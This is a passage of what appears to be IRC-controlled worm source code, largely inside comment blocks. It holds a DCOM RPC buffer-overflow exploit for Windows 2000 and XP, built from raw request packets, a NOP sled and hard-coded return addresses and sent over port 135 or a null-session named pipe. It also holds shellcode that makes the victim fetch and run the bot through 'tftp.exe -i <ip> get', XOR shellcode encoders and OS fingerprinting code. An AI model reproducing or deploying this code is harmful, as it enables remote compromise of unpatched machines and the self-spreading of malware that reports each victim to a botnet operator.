not_createprocessa:

   cmp   dword ptr [ecx + 03h], "rhTt" ; are we at ExitThreadA?
   jne   not_exitthread                ; no
   mov   edi, [ebx]                    ; yes, take address
not_exitthread:

   add   eax, 04h
   add   ebx, 04h

   test  esi, esi
   jz    find_createprocessa_and_exitthread_loop
   test  edi, edi
   jz    find_createprocessa_and_exitthread_loop

   add   esi, edx
   add   edi, edx

; *** 68 bytes *****************************************************************
; = 99 bytes
; *** Put ExitThread to stack **************************************************
   xor   eax, eax
   push  eax               ; push 0 for ExitThread
   push  eax               ; return address for ExitThread
   push  edi               ; ExitThread itself :P
; *** 5 bytes ******************************************************************
; = 104 bytes
; *** Execute file & exit thread ***********************************************
   call push_commandline
   db "-i  get ", 0
push_commandline:
   call  push_executablepath
   db "tftp.exe", 0
push_executablepath:
   call  execute_file
   test  eax, eax
   jz    go_exitthread

push_commandline2_loop:
   call  PushCommandLine2
   db 0
PushCommandLine2:
   push  0
   call  execute_file
   test  eax, eax
   jz    push_commandline2_loop

go_exitthread:
   ret                     ; call ExitThread
; *** 94 bytes *****************************************************************
; = 198 bytes
; *** Executes a file **********************************************************
execute_file proc FileToExecute:DWORD, CmdLine:DWORD
   LOCAL prin:PROCESS_INFORMATION
   LOCAL stin:STARTUPINFO

   xor   eax, eax
   lea   edi, stin
   mov   ecx, eax
   mov   cl, 44h    ; sizeof STARTUPINFO
   mov   edx, ecx
   mov   ebx, edi
   rep   stosb

   assume ebx:ptr STARTUPINFO
   mov   dword ptr [ebx].cb, edx
   assume ebx:nothing

   lea   ecx, prin
   push  ecx               ; PROCESS_INFORMATION
   push  ebx               ; STARTUPINFO
   push  eax
   push  eax
   push  NORMAL_PRIORITY_CLASS or DETACHED_PROCESS
   push  TRUE
   push  eax
   push  eax
   push  CmdLine
   push  FileToExecute
   call  esi               ; CreateProcess

   ret
execute_file endp
; *** 48 bytes *****************************************************************
; = 246 bytes
   db "<-END"

;
;   for testing only
;
    call GetTickCount
;

end start
*/

/*


#include "includes.h"
#include "functions.h"
#include "externs.h"

#ifndef NO_DCOM

char bindstr[] =
	"\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x7F\x00\x00\x00"
	"\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00"
	"\xa0\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46"
	"\x00\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00"
	"\x2B\x10\x48\x60\x02\x00\x00\x00";

char request1[] =
	"\x05\x00\x00\x03\x10\x00\x00\x00\xE8\x03\x00\x00\xE5\x00\x00\x00"
	"\xD0\x03\x00\x00\x01\x00\x04\x00\x05\x00\x06\x00\x01\x00\x00\x00"
	"\x00\x00\x00\x00\x32\x24\x58\xFD\xCC\x45\x64\x49\xB0\x70\xDD\xAE"
	"\x74\x2C\x96\xD2\x60\x5E\x0D\x00\x01\x00\x00\x00\x00\x00\x00\x00"
	"\x70\x5E\x0D\x00\x02\x00\x00\x00\x7C\x5E\x0D\x00\x00\x00\x00\x00"
	"\x10\x00\x00\x00\x80\x96\xF1\xF1\x2A\x4D\xCE\x11\xA6\x6A\x00\x20"
	"\xAF\x6E\x72\xF4\x0C\x00\x00\x00\x4D\x41\x52\x42\x01\x00\x00\x00"
	"\x00\x00\x00\x00\x0D\xF0\xAD\xBA\x00\x00\x00\x00\xA8\xF4\x0B\x00"
	"\x60\x03\x00\x00\x60\x03\x00\x00\x4D\x45\x4F\x57\x04\x00\x00\x00"
	"\xA2\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46"
	"\x38\x03\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46"
	"\x00\x00\x00\x00\x30\x03\x00\x00\x28\x03\x00\x00\x00\x00\x00\x00"
	"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\xC8\x00\x00\x00\x4D\x45\x4F\x57"
	"\x28\x03\x00\x00\xD8\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00"
	"\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\xC4\x28\xCD\x00\x64\x29\xCD\x00\x00\x00\x00\x00"
	"\x07\x00\x00\x00\xB9\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00"
	"\x00\x00\x00\x46\xAB\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00"
	"\x00\x00\x00\x46\xA5\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00"
	"\x00\x00\x00\x46\xA6\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00"
	"\x00\x00\x00\x46\xA4\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00"
	"\x00\x00\x00\x46\xAD\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00"
	"\x00\x00\x00\x46\xAA\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00"
	"\x00\x00\x00\x46\x07\x00\x00\x00\x60\x00\x00\x00\x58\x00\x00\x00"
	"\x90\x00\x00\x00\x40\x00\x00\x00\x20\x00\x00\x00\x78\x00\x00\x00"
	"\x30\x00\x00\x00\x01\x00\x00\x00\x01\x10\x08\x00\xCC\xCC\xCC\xCC"
	"\x50\x00\x00\x00\x4F\xB6\x88\x20\xFF\xFF\xFF\xFF\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xCC\xCC\xCC\xCC"
	"\x48\x00\x00\x00\x07\x00\x66\x00\x06\x09\x02\x00\x00\x00\x00\x00"
	"\xC0\x00\x00\x00\x00\x00\x00\x46\x10\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x78\x19\x0C\x00"
	"\x58\x00\x00\x00\x05\x00\x06\x00\x01\x00\x00\x00\x70\xD8\x98\x93"
	"\x98\x4F\xD2\x11\xA9\x3D\xBE\x57\xB2\x00\x00\x00\x32\x00\x31\x00"
	"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x80\x00\x00\x00\x0D\xF0\xAD\xBA"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x18\x43\x14\x00\x00\x00\x00\x00\x60\x00\x00\x00\x60\x00\x00\x00"
	"\x4D\x45\x4F\x57\x04\x00\x00\x00\xC0\x01\x00\x00\x00\x00\x00\x00"
	"\xC0\x00\x00\x00\x00\x00\x00\x46\x3B\x03\x00\x00\x00\x00\x00\x00"
	"\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x30\x00\x00\x00"
	"\x01\x00\x01\x00\x81\xC5\x17\x03\x80\x0E\xE9\x4A\x99\x99\xF1\x8A"
	"\x50\x6F\x7A\x85\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
	"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x30\x00\x00\x00\x78\x00\x6E\x00"
	"\x00\x00\x00\x00\xD8\xDA\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x20\x2F\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00"
	"\x00\x00\x00\x00\x03\x00\x00\x00\x46\x00\x58\x00\x00\x00\x00\x00"
	"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x10\x00\x00\x00\x30\x00\x2E\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x68\x00\x00\x00\x0E\x00\xFF\xFF"
	"\x68\x8B\x0B\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

char request2[] =
	"\x20\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x5C\x00\x5C\x00";

/*	\E$\938479272375092753287.xls
	\F$\993847593892837527687.bat
	\S$\267364889234572836487.cmd
	\Y$\128736872350982734872.zip
	\V$\287348927347869928738.rar
	\W$\348579872387469762349.tmp
	\X$\349587230872349876934.bla
	\U$\349879876098209889734.h4x *

char request3[] = // \C$\123456111111111111111.doc
	"\x5C\x00\x43\x00\x24\x00\x5C\x00\x31\x00\x32\x00\x33\x00\x34\x00"
	"\x35\x00\x36\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00"
	"\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00"
	"\x31\x00\x2E\x00\x64\x00\x6F\x00\x63\x00\x00\x00";

char request4[] =
	"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x20\x00\x00\x00\x30\x00\x2D\x00"
	"\x00\x00\x00\x00\x88\x2A\x0C\x00\x02\x00\x00\x00\x01\x00\x00\x00"
	"\x28\x8C\x0C\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00";

char shellcode_start[]=
	"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
	"\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00\x46\x00\x58\x00"
	"\x46\x00\x58\x00"
	"\xff\xff\xff\xff"	/* return address *
	"\xcc\xe0\xfd\x7f"	/* primary thread data block *
	"\xcc\xe0\xfd\x7f";	/* primary thread data block *

char nops[] =
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90";

unsigned long call_ebx_offsets[] = {
	0x010016C6,		// Win2K
	0x0100139d      // WinXP
};

BOOL ConnectViaNullSession(const char *remote_host, LPNETRESOURCEW nr)
{	
	WCHAR Ipc[] = L"\\IPC$", Resource[280] = L"\\\\";
	TCHAR szServer[280] = TEXT("");

	MultiByteToWideChar(CP_ACP, 0, (LPCSTR)remote_host, -1, (wchar_t*)szServer, 255);
	wcscat(Resource,(wchar_t*)szServer);
	wcscat(Resource,Ipc);

	nr->dwType       = RESOURCETYPE_ANY;
	nr->lpLocalName  = NULL;
	nr->lpRemoteName = Resource;
	nr->lpProvider   = NULL;
	
	DWORD result = fWNetAddConnection2W(nr, L"", L"", 0);

	if (result == 5 || result == 1219) 
		result = fWNetAddConnection2W(nr, NULL, NULL, 0);
	if (result == 5 || result == 1219) 
		return FALSE;

	return TRUE;
}

BOOL CloseNullSession(const char *remote_host)
{	
	WCHAR Ipc[] = L"\\IPC$", Resource[280] = L"\\\\";
	TCHAR szServer[280] = TEXT("");

	MultiByteToWideChar(CP_ACP, 0, (LPCSTR)remote_host, -1, (wchar_t*)szServer, 255);
	wcscat(Resource, (wchar_t*)szServer);
	wcscat(Resource, Ipc);

	while (fWNetCancelConnection2W(Resource, 0, FALSE) != NO_ERROR) 
		Sleep(2000);

	return TRUE;
}

char *CreateDCOMRequestPacket(EXINFO exinfo, DWORD *RequestPacketSize, int TargetOS, BOOL NamedPipe)
{
	char *pTemp, szSCBuf[4096], szReqBuf[4096], szShellBuf[4096];
	int iShellSize = 0, iPos = 0, iSCSize = 0, iReqSize = 0, iNOPSize = sizeof(nops)-1;

	// get shellcode
	iShellSize = GetRNS0TerminatedShellcode(szShellBuf, 4096, GetIP(exinfo.sock), filename);
	if (!iShellSize) 
		return 0;

	// build a buffer with the shellcode
	memcpy(szSCBuf+iPos, shellcode_start, sizeof(shellcode_start)-1); iPos += sizeof(shellcode_start)-1;
	memset(szSCBuf+iPos, '\x90',          iNOPSize                 ); iPos += iNOPSize;
	memcpy(szSCBuf+iPos, szShellBuf,      iShellSize               ); iPos += iShellSize;
	iSCSize = iPos; iPos = 0;

	// prepend NOPs as long as shellcode doesn't fit RPC packet format
	while ((iSCSize % 16) != 12) {
		iNOPSize++;
		memcpy(szSCBuf+iPos, shellcode_start, sizeof(shellcode_start)-1); iPos += sizeof(shellcode_start)-1;
		memset(szSCBuf+iPos, '\x90',          iNOPSize                 ); iPos += iNOPSize;
		memcpy(szSCBuf+iPos, szShellBuf,      iShellSize               ); iPos += iShellSize;
		iSCSize = iPos; iPos = 0;
	}

	// set the return address
	if (NamedPipe) {
		if (TargetOS == OS_WINXP || TargetOS == OS_UNKNOWN) 
			memcpy(szSCBuf+36, (char *)&call_ebx_offsets[1], 4);
		else 
			memcpy(szSCBuf+36, (char *)&call_ebx_offsets[0], 4);
	} else {
		if (TargetOS == OS_WINXP) 
			memcpy(szSCBuf+36, (char*)&call_ebx_offsets[1], 4);
		else 
			memcpy(szSCBuf+36, (char*)&call_ebx_offsets[0], 4);
	}

	// build the request
	memcpy(szReqBuf+iPos, request1, sizeof(request1)-1); iPos += sizeof(request1)-1;
	memcpy(szReqBuf+iPos, request2, sizeof(request2)-1); iPos += sizeof(request2)-1;
	memcpy(szReqBuf+iPos, szSCBuf,  iSCSize           ); iPos += iSCSize;
	memcpy(szReqBuf+iPos, request3, sizeof(request3)-1); iPos += sizeof(request3)-1;
	memcpy(szReqBuf+iPos, request4, sizeof(request4)-1); iPos += sizeof(request4)-1;
	iReqSize = iPos;

	// fill the request with the right sizes
	pTemp = szReqBuf + (sizeof(request1)-1);
	*(unsigned long*)(pTemp)     = *(unsigned long*)(pTemp)     + iSCSize / 2;
	*(unsigned long*)(pTemp+8)   = *(unsigned long*)(pTemp+8)   + iSCSize / 2; pTemp = szReqBuf;
	*(unsigned long*)(pTemp+8)   = *(unsigned long*)(pTemp+8)   + iSCSize - 12;
	*(unsigned long*)(pTemp+16)  = *(unsigned long*)(pTemp+16)  + iSCSize - 12;
	*(unsigned long*)(pTemp+128) = *(unsigned long*)(pTemp+128) + iSCSize - 12;
	*(unsigned long*)(pTemp+132) = *(unsigned long*)(pTemp+132) + iSCSize - 12;
	*(unsigned long*)(pTemp+180) = *(unsigned long*)(pTemp+180) + iSCSize - 12;
	*(unsigned long*)(pTemp+184) = *(unsigned long*)(pTemp+184) + iSCSize - 12;
	*(unsigned long*)(pTemp+208) = *(unsigned long*)(pTemp+208) + iSCSize - 12;
	*(unsigned long*)(pTemp+396) = *(unsigned long*)(pTemp+396) + iSCSize - 12;

	char *Shellcode = (char *)malloc(iReqSize+1);
	memset(Shellcode, 0, iReqSize+1);
	memcpy(Shellcode, szReqBuf, iReqSize);
	*RequestPacketSize = iReqSize;

	return Shellcode;
}

BOOL dcom(EXINFO exinfo)
{
	char sendbuf[IRCLINE];

	if (exinfo.port == 445) {
		NETRESOURCEW nr;

		if (!ConnectViaNullSession(exinfo.ip, &nr)) 
			return FALSE;
		else {
			char szPipePath[MAX_PATH];
			sprintf(szPipePath, "\\\\%s\\pipe\\epmapper", exinfo.ip);
			HANDLE hFile = CreateFile(szPipePath, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

			if (hFile == INVALID_HANDLE_VALUE) {
				CloseNullSession(exinfo.ip);
				return FALSE;
			}

			// sprintf(sendbuf, "[dcom]: Connected to pipe \\\\%s\\pipe\\epmapper", exinfo.ip);
			// irc_privmsg(exinfo.sock, exinfo.chan, sendbuf, exinfo.notice);

			int TargetOS = FpHost(exinfo.ip, FP_PORT5K);

			// get shellcode
			DWORD reqbufsize;
			char *reqbuf = CreateDCOMRequestPacket(exinfo, &reqbufsize, TargetOS, TRUE);
			if (!reqbuf) {
				CloseHandle(hFile);
				CloseNullSession(exinfo.ip);
				return FALSE;
			}

			unsigned long lWritten;
			char *szInBuf = (char *)malloc(100000);
			memset(szInBuf, 0, 100000);

			// send the bind string
			DWORD dwRead;
			TransactNamedPipe(hFile, bindstr, sizeof(bindstr)-1, szInBuf, 10000, &dwRead, NULL);
			if (szInBuf[2] != 0x0C) {
				free(szInBuf); 
				free(reqbuf);
				CloseHandle(hFile);
				CloseNullSession(exinfo.ip);
				return FALSE;
			}

			// send the evil request
			if (!WriteFile(hFile, reqbuf, reqbufsize, &lWritten, 0)) {
				free(szInBuf); 
				free(reqbuf);
				CloseHandle(hFile);
				CloseNullSession(exinfo.ip);
				return FALSE;
			}

			BOOL Result = ReadFile(hFile, szInBuf, 10000, &dwRead, NULL);

			free(reqbuf); 
			free(szInBuf);
			CloseHandle(hFile);
			CloseNullSession(exinfo.ip);

			if (Result == TRUE) {
				return FALSE;
			}
		}

	} else { // port 135 and others

		int TargetOS = FpHost(exinfo.ip, FP_RPC);
		if (TargetOS == OS_WINNT) 
			return FALSE;

		// get a funky fresh socket
		SOCKET sSocket = fsocket(AF_INET, SOCK_STREAM, IPPROTO_IP);
		if (sSocket == SOCKET_ERROR) 
			return FALSE;

		// fill in sockaddr and resolve the host
		SOCKADDR_IN ssin; 
		memset(&ssin, 0, sizeof(ssin));
		ssin.sin_family = AF_INET;
		ssin.sin_port = fhtons(exinfo.port);
		ssin.sin_addr.s_addr = finet_addr(exinfo.ip);

		// get shellcode
		DWORD reqbufsize;
		char *reqbuf = CreateDCOMRequestPacket(exinfo, &reqbufsize, TargetOS, FALSE);
		if (!reqbuf) {
			fclosesocket(sSocket);
			return FALSE;
		}

		// connect to the server
		int iErr = fconnect(sSocket, (LPSOCKADDR)&ssin, sizeof(ssin));
		if (iErr == -1) { // connect failed, exit
			free(reqbuf);
			fclosesocket(sSocket);
			return FALSE;
		}

		// send the bind string
		if (fsend(sSocket, bindstr, sizeof(bindstr)-1, 0) == SOCKET_ERROR) {
			free(reqbuf);
			fclosesocket(sSocket);
			return FALSE;
		}

		// read reply
		char recvbuf[4096];
		frecv(sSocket, recvbuf, 4096, 0);
		// Send the evil request
		if (fsend(sSocket, reqbuf, reqbufsize, 0) == SOCKET_ERROR) {
			free(reqbuf);
			fclosesocket(sSocket);
			return FALSE;
		}

		// read reply
		if (frecv(sSocket, recvbuf, 4096, 0) == SOCKET_ERROR) {
			free(reqbuf);
			fclosesocket(sSocket);
			return FALSE;
		}

		free(reqbuf);
		// Close the socket
		fclosesocket(sSocket);		
	}

	Sleep(1000);
	sprintf(sendbuf,"[TFTPD]: File transfer started to IP: %s", exinfo.ip);
	if (searchlog(sendbuf, TRUE)) {
		sprintf(sendbuf, "[%s]: Exploiting IP: %s.", exploit[exinfo.exploit].name, exinfo.ip);
		if (!exinfo.silent) irc_privmsg(exinfo.sock, exinfo.chan, sendbuf, exinfo.notice);
		addlog(sendbuf);
		exploit[exinfo.exploit].stats++;
	}

	return TRUE;
}
#endif
*/
/*


//
// shellcode.cpp  -  shellcode generation/encoding file
// 
// Copyright (c) 2004 by X-Lock
// All Rights Reserved
//
// NOTE: thread safe, works with shellcodes up to 64KB
//
// NOTE?: to be sure that it works without problems allocate
//        257 more bytes than needed for EncodeRNS0() and
//        GetRNS0TerminatedShellcode().
//

#include "includes.h"
#include "functions.h"
#include "externs.h"

// for shellcode up to 65535 bytes
char xor65535decoder[] =
	"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x31\xC9\x66\xB9\xFF\xFF"
	"\x80\x73\x0E\xFF\x43\xE2\xF9";

#define DECODER65535_OFFSET_SIZE      14  // offset for size of the encoder (word)
#define DECODER65535_OFFSET_XORKEY    19  // offset for the xor key

// for shellcode up to 255 bytes
char xor255decoder[] =
	"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x31\xC9\xB1\xFF\x80\x73"
	"\x0C\xFF\x43\xE2\xF9";

#define DECODER255_OFFSET_SIZE      13  // offset for size of the encoder (byte)
#define DECODER255_OFFSET_XORKEY    17  // offset for the xor key

char tftp_Shellcode[] =
	"\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B"
	"\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x8B\xD0\x03"
	"\x40\x3C\x8B\xCA\x03\x48\x78\x8B\x41\x20\x8B\xDA\x03\x59\x1C\x33"
	"\xFF\x33\xF6\x57\x57\x8B\xCA\x03\x0C\x10\x81\x79\x0A\x65\x73\x73"
	"\x41\x75\x02\x8B\x33\x81\x79\x03\x74\x54\x68\x72\x75\x02\x8B\x3B"
	"\x83\xC0\x04\x83\xC3\x04\x85\xF6\x74\xDB\x85\xFF\x74\xD7\x03\xF2"
	"\x03\xFA\x57\xE8\x12\x00\x00\x00\x74\x66\x74\x70\x2E\x65\x78\x65"
	"\x20\x2D\x69\x20\x20\x67\x65\x74\x20\x00\x6A\x00\xE8\x17\x00\x00"
	"\x00\x75\x01\xC3\xE8\x01\x00\x00\x00\x00\x6A\x00\xE8\x07\x00\x00"
	"\x00\x0F\x84\xED\xFF\xFF\xFF\xC3\x58\x5B\x5D\x50\x83\xEC\x54\x33"
	"\xC0\x8B\xFC\x8D\x48\x40\x8B\xD7\xF3\xAA\xB0\x44\xAB\x57\x52\x51"
	"\x51\x6A\x28\x6A\x01\x51\x51\x55\x53\xFF\xD6\x83\xC4\x54\x85\xC0"
	"\xC3"; // 193 bytes

char xorhelp; // helps encoding shellcode faster

DWORD GetShellcodeSize(char *ownip, char *botfilename)
{
	DWORD IPLength = strlen(ownip);
	DWORD BotFileNameLength = strlen(botfilename);

	return 0x74 + IPLength + 0x05 + BotFileNameLength + 0x10 + BotFileNameLength + 0x38;
}

DWORD GetShellcode(char *buffer, DWORD buffersize, char *ownip, char *botfilename)
{
	DWORD ShellcodeSize = GetShellcodeSize(ownip, botfilename);
	if (ShellcodeSize > buffersize) return 0;

	DWORD IPLength = strlen(ownip);
	DWORD BotFileNameLength = strlen(botfilename);

	DWORD *CallOver1 = PDWORD(tftp_Shellcode+0x64);
	*CallOver1 = (IPLength + BotFileNameLength + 0x12);

	DWORD *CallOver2 = PDWORD(tftp_Shellcode+0x85);
	*CallOver2 = (BotFileNameLength + 1);

	DWORD *CallCreateProcess1 = PDWORD(tftp_Shellcode+0x7D);
	*CallCreateProcess1 = (BotFileNameLength + 1 + 0x16);

	DWORD *JzExecuteBotfileLoop = PDWORD(tftp_Shellcode+0x93);
	*JzExecuteBotfileLoop = (0xFFFFFFED - BotFileNameLength);

	DWORD i = 0;

	memcpy(buffer+i, tftp_Shellcode,            0x74); i += 0x74;
	memcpy(buffer+i, ownip,                 IPLength); i += IPLength;
	memcpy(buffer+i, tftp_Shellcode+0x74,       0x05); i += 0x05;
	memcpy(buffer+i, botfilename,  BotFileNameLength); i += BotFileNameLength;
	memcpy(buffer+i, tftp_Shellcode+0x79,       0x10); i += 0x10;
	memcpy(buffer+i, botfilename,  BotFileNameLength); i += BotFileNameLength; 
	memcpy(buffer+i, tftp_Shellcode+0x89,       0x38); i += 0x38;

	return ShellcodeSize;
}

DWORD GetRNS0TerminatedShellcodeSize(char *ownip, char *botfilename)
{
	return GetRNS0EncodedSize(GetShellcodeSize(ownip, botfilename));
}

DWORD GetRNS0TerminatedShellcode(char *buffer, DWORD buffersize, char *ownip, char *botfilename)
{
	DWORD RNS0TerminatedShellcodeSize = GetRNS0TerminatedShellcodeSize(ownip, botfilename);
	if (RNS0TerminatedShellcodeSize > buffersize) return 0;
	if (RNS0TerminatedShellcodeSize > 65535) return 0;

	char *Shellcode = (char *)malloc(GetShellcodeSize(ownip, botfilename)+257);
	DWORD ShellcodeSize = GetShellcode(Shellcode, GetShellcodeSize(ownip, botfilename), ownip, botfilename);
	RNS0TerminatedShellcodeSize = EncodeRNS0(buffer, buffersize, Shellcode, ShellcodeSize);

	free(Shellcode);

	return RNS0TerminatedShellcodeSize;
}

DWORD GetRNS0EncodedSize(DWORD shellcodesize)
{
	if (!(shellcodesize & 0xFF)) 
		shellcodesize++;
	DWORD DecoderSize = shellcodesize <= 0xFF ? sizeof(xor255decoder)-1 : sizeof(xor65535decoder)-1;

	return DecoderSize+shellcodesize;
}

// no 0x0A (\r) - 0x0D (\n) - 0x5C (\\) - 0x00 (\0) after encoding
DWORD EncodeRNS0(char *buffer, DWORD buffersize, char *shellcode, DWORD shellcodesize)
{
	char b = (char)(shellcodesize & 0xFF);
	if (b == 0x0A || b == 0x0D || b == 0x5C || b == 0x00) 
		shellcodesize += 0x0001;

	if (shellcodesize > 0xFF) {
		b = (char)((shellcodesize >> 8) & 0xFF);
		if (b == 0x0A || b == 0x0D || b == 0x5c || b == 0x00) 
			shellcodesize += 0x0100;
	}

	DWORD RNS0EncodedSize = GetRNS0EncodedSize(shellcodesize);
	if (RNS0EncodedSize > buffersize) return 0;
	if (RNS0EncodedSize > 65535) return 0;

	DWORD i, j; 
	char x = xorhelp;

	// find x occurance in Shellcode buffer
	for (i = 0; i < shellcodesize; i++) {
		char result = shellcode[i]^x;
		if (result == 0x00 || result == 0x0A || result == 0x0D || result == 0x5C) {
			x++;
			i = 0;
		}
	}
	xorhelp = x;

	// set size & xor key and copy decoder
	if (shellcodesize <= 0xFF) {
		xor255decoder[DECODER255_OFFSET_SIZE]   = (char)(shellcodesize);
		xor255decoder[DECODER255_OFFSET_XORKEY] = x;
		memcpy(buffer, xor255decoder, sizeof(xor255decoder)-1);
		i = sizeof(xor255decoder)-1;
	} else {
		char *d65535os = &xor65535decoder[DECODER65535_OFFSET_SIZE];
		*(short *)d65535os = (short)(shellcodesize);
		xor65535decoder[DECODER65535_OFFSET_XORKEY] = x;
		memcpy(buffer, xor65535decoder, sizeof(xor65535decoder)-1);
		i = sizeof(xor65535decoder)-1;
	}

	// copy encoded shellcode to buffer
	for (j = 0; j < shellcodesize; j++) 
		buffer[i+j] = (shellcode[j] ^ x);

	// -> bye :D
	return RNS0EncodedSize;
}
*/
//fphost.h
/*
// OS fingerprint
#define FP_RPC     1
#define FP_PORT5K  2
#define FP_TTL     3

// Definitions for OS fingerprinting
#define OS_UNKNOWN 0
#define OS_WINNT   1
#define OS_WIN2K   2
#define OS_WINXP   3

#define FP_RPC     1
#define FP_PORT5K  2
#define FP_TTL     3

// DCE defines
#define DCE_VERSION_MAJOR 0x05
#define DCE_VERSION_MINOR 0x00
#define DCE_PKT_BIND 0x0B
#define DCE_PKT_BINDACK 0x0C
#define DCE_PKT_BINDNACK 0x0D
#define DCE_PKT_REQUEST 0x00
#define DCE_PKT_FAULT 0x03
#define DCE_PKT_RESPONSE 0x02
#define DCE_PKT_ALTCONT 0x0E
#define DCE_PKT_ALTCONTRESP 0x0F
#define DCE_PKT_BINDRESP 0x10
#define RPC_FLG_FIRST 0x01
#define RPC_FLG_LAST 0x02

bool MemContains(const char *pMem, const int iMemLen, const char *pSearch, const int iSearchLen);
int FpHost(const char *szHost, int iFpType);

*/
/*


#include "includes.h"
#include "functions.h"
#include "externs.h"

char rpcfp_bindstr[]=
	"\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00"
	"\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
	"\x80\xbd\xa8\xaf\x8a\x7d\xc9\x11\xbe\xf4\x08\x00\x2b\x10\x29\x89"
	"\x01\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
	"\x2b\x10\x48\x60\x02\x00\x00\x00";

char rpcfp_inqifids[]=
	"\x05\x00\x00\x03\x10\x00\x00\x00\x18\x00\x00\x00\x01\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00";

char w2kuuid_sig[]=
	"\xB0\x01\x52\x97\xCA\x59\xD0\x11\xA8\xD5\x00\xA0\xC9\x0D\x80\x51";

char wxpuuid_sig[]=
	"\x26\xB5\x55\x1D\x37\xC1\xC5\x46\xAB\x79\x63\x8F\x2A\x68\xE8\x69";


bool MemContains(const char *pMem, const int iMemLen, const char *pSearch, const int iSearchLen)
{
	for(int i=0;i<iMemLen-iSearchLen;i++)
		if(!memcmp(pMem+i, pSearch, iSearchLen))
			return true;

	return false;
}

int FpHost(const char *szHost, int iFpType)
{
	switch(iFpType) {
	case FP_RPC:
		{
			char szRecvBuf[8192];
	    
			int iRetVal=OS_UNKNOWN;
			int sSocket=fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	    
			if(sSocket==SOCKET_ERROR || sSocket==INVALID_SOCKET) 
				return OS_UNKNOWN;
	    
			SOCKADDR_IN ssin; 
